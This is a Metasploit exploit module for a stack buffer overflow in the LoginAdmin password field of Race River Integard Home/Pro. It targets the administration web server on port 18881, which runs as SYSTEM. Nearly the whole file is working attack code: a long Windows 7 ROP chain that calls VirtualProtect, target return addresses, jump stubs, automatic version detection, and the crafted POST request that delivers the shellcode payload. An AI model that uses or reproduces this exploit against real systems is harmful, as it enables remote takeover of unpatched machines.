# Exploit Title: Integard Pro 2.2.0.9026 (Win7 ROP-Code Metasploit Module)
# Date: 2010-09-15
# Author: Node
# Version: Race River Integard Pro 2.2.0.9026, integard32.dll(v.2.0.0.306)
# Tested on: Windows 7 x64 Eng
# CVE : -
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking # stack bof, seh, universal ret, auto targeting
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Race river's Integard Home/Pro
internet content filter HTTP Server. Versions prior to 2.0.0.9037 and 2.2.0.9037 are
vulnerable.
The administration web page on port 18881 is vulnerable to a remote buffer overflow
attack. By sending an long character string in the password field, both the structured
exception handler and the saved extended instruction pointer are over written, allowing
an attacker to gain control of the application and the underlying operating system
remotely.
The administration website service runs with SYSTEM privileges, and automatically
restarts when it crashes.
},
'Author' =>
[
'Lincoln', # original discovery
'Nullthreat',
'rick2600',
'corelanc0d3r',
'jduck', # fleshed out module from advisory
'Node' # Win7 rop-code
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 99999 $',
'References' =>
[
['OSVDB', '67909'],
['URL','http://www.corelan.be:8800/advisories.php?id=CORELAN-10-061'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x20\x26\x2f\x3d\x3f\x5c",
'StackAdjustment' => -1500,
},
'Platform' => 'win',
'Privileged' => false,
'Targets' =>
[
[ 'Automatic Targeting', { 'auto' => true }],
[ 'Integard Home 2.0.0.9021', { 'Ret' => 0x0041565E,}], # p/p/r
[ 'Integard Pro 2.2.0.9026', { 'Ret' => 0x0040362C,}], # p/p/r
[ 'Integard Pro 2.2.0.9026, integard32.dll(v.2.0.0.306) (Windows 7 x64 Eng)', { 'Win7' => true,}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 07 2010'))
register_options(
[
Opt::RPORT(18881)
], self.class )
end
def exploit
rop = [0x10010793].pack('V') # RET
rop << rand_text_alpha_upper(20)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << [0xFFB8A378].pack('V') # PUSH ESP # SUB EAX,20 # POP EBX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x100111B7].pack('V') # ADD ESP,2C # POP ESI # POP EBP # RETN
rop << "1111" #VirtualProtect placeholder
rop << "2222" #return address placeholder
rop << "3333" #lpAddress placeholder
rop << "4444" #dwsize placeholder
rop << "5555" #flNewProtect placeholder
rop << [0x10019005].pack('V') # writable
rop << rand_text_alpha_upper(28)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << [0xFFBBA5CE].pack('V') # INC EBX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x10010EB5].pack('V') # POP EDI # POP ESI # RETN
rop << [0x10019005].pack('V') # writable
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << [0xFFB95B6F].pack('V') # PUSH EBX # SBB BYTE PTR DS:[EDI+5E],BL # POP EBP # MOV EAX,-2 # POP EBX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << [0xFFFFF41C].pack('V') #length to kernel32
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100107E8].pack('V') # POP EAX # POP ESI # RETN
rop << rand_text_alpha_upper(16)
rop << [0xEFFF2E41].pack('V') # ADD EBX,EBP # RETN
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << [0xEFFF2E41].pack('V') # ADD EBX,EBP # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x10010C69].pack('V') # MOV EDX,EBX # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xEFFFA79E].pack('V') # XCHG EAX,EBP # POP ESI # POP EBP # POP EDI # POP EBX # POP ECX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << rand_text_alpha_upper(16)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFB81B31].pack('V') # MOV EAX,EDX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x100137AB].pack('V') # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # POP EBP # RETN
rop << rand_text_alpha_upper(8)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C69].pack('V') # MOV EDX,EBX # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFFFFE75].pack('V') # length to VP
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10013B9D].pack('V') # MOV EAX,EBX # POP EBX # POP EBP # RETN
rop << rand_text_alpha_upper(8)
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFB81B31].pack('V') # MOV EAX,EDX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10013B9D].pack('V') # MOV EAX,EBX # POP EBX # POP EBP # RETN
rop << rand_text_alpha_upper(8)
rop << [0x1001072D].pack('V') # MOV DWORD PTR DS:[ECX],EAX # POP EBP # RET
rop << rand_text_alpha_upper(4)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x1001072D].pack('V') # MOV DWORD PTR DS:[ECX],EAX # POP EBP # RET
rop << rand_text_alpha_upper(4)
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFFFF868].pack('V') # length to shellcode
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C69].pack('V') # MOV EDX,EBX # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFB81B31].pack('V') # MOV EAX,EDX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x10010C69].pack('V') # MOV EDX,EBX # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0x10010798].pack('V') # ADD DWORD PTR DS:[EAX],EDX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x100137AB].pack('V') # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # POP EBP # RETN
rop << rand_text_alpha_upper(8)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x1001072D].pack('V') # MOV DWORD PTR DS:[ECX],EAX # POP EBP # RET
rop << rand_text_alpha_upper(4)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFFFFC18].pack('V') # size (1000)
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10013B9D].pack('V') # MOV EAX,EBX # POP EBX # POP EBP # RETN
rop << rand_text_alpha_upper(8)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x1001072D].pack('V') # MOV DWORD PTR DS:[ECX],EAX # POP EBP # RET
rop << rand_text_alpha_upper(4)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFFFFFC0].pack('V') # newprotect(0x40)
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10013B9D].pack('V') # MOV EAX,EBX # POP EBX # POP EBP # RETN
rop << rand_text_alpha_upper(8)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x1001072D].pack('V') # MOV DWORD PTR DS:[ECX],EAX # POP EBP # RET
rop << rand_text_alpha_upper(4)
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFFFFFF0].pack('V') # length to saved VP on the stack
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10013B9D].pack('V') # MOV EAX,EBX # POP EBX # POP EBP # RETN
rop << rand_text_alpha_upper(8)
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xEFFF2818].pack('V') # XCHG EAX,ESP # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C69].pack('V') # MOV EDX,EBX # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFB81B31].pack('V') # MOV EAX,EDX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x10010F0B].pack('V') # CALL EBX # ...
mytarget = nil
if (target['auto'])
print_status("Automatically detecting the target...")
response = send_request_raw(
{
'uri' => '/banner.jpg',
'version' => '1.1',
'method' => 'GET'
}, 5)
case response['Content-Length'].to_i
when 24584
print_status("[!] Found Version - Integard Home")
mytarget = targets[1]
when 23196
mytarget = targets[2]
print_status("[!] Found Version - Integard Pro")
end
else
mytarget = target
end
if not mytarget
raise RuntimeError, "Unable to automatically detect the target version"
end
print_status("Selected Target: #{mytarget.name}")
print_status("Building Buffer")
pay = payload.encoded
if (target['Win7'])
buffer = rand_text_alpha_upper(832)
buffer << rop
buffer << rand_text_alpha_upper(2000 - rop.length)
buffer << pay
buffer << rand_text_alpha_upper(1000 - pay.length)
else
buffer = ''
buffer << rand_text_alpha_upper(3091 - pay.length)
buffer << pay
buffer << "\xE9\x2B\xF8\xFF\xFF"
buffer << "\xEB\xF9\x90\x90"
buffer << [mytarget.ret].pack('V')
end
print_status("Sending Request")
send_request_raw({
'uri' => '/LoginAdmin',
'version' => '1.1',
'method' => 'POST',
'headers' =>
{
'Host' => '192.168.1.1:18881',
'Content-Length' => 1074
},
'data' => "Password=" + buffer + "&Redirect=%23%23%23REDIRECT%23%23%23&NoJs=0&LoginButtonName=Login"
}, 5)
print_status("Request Sent")
handler
end
end
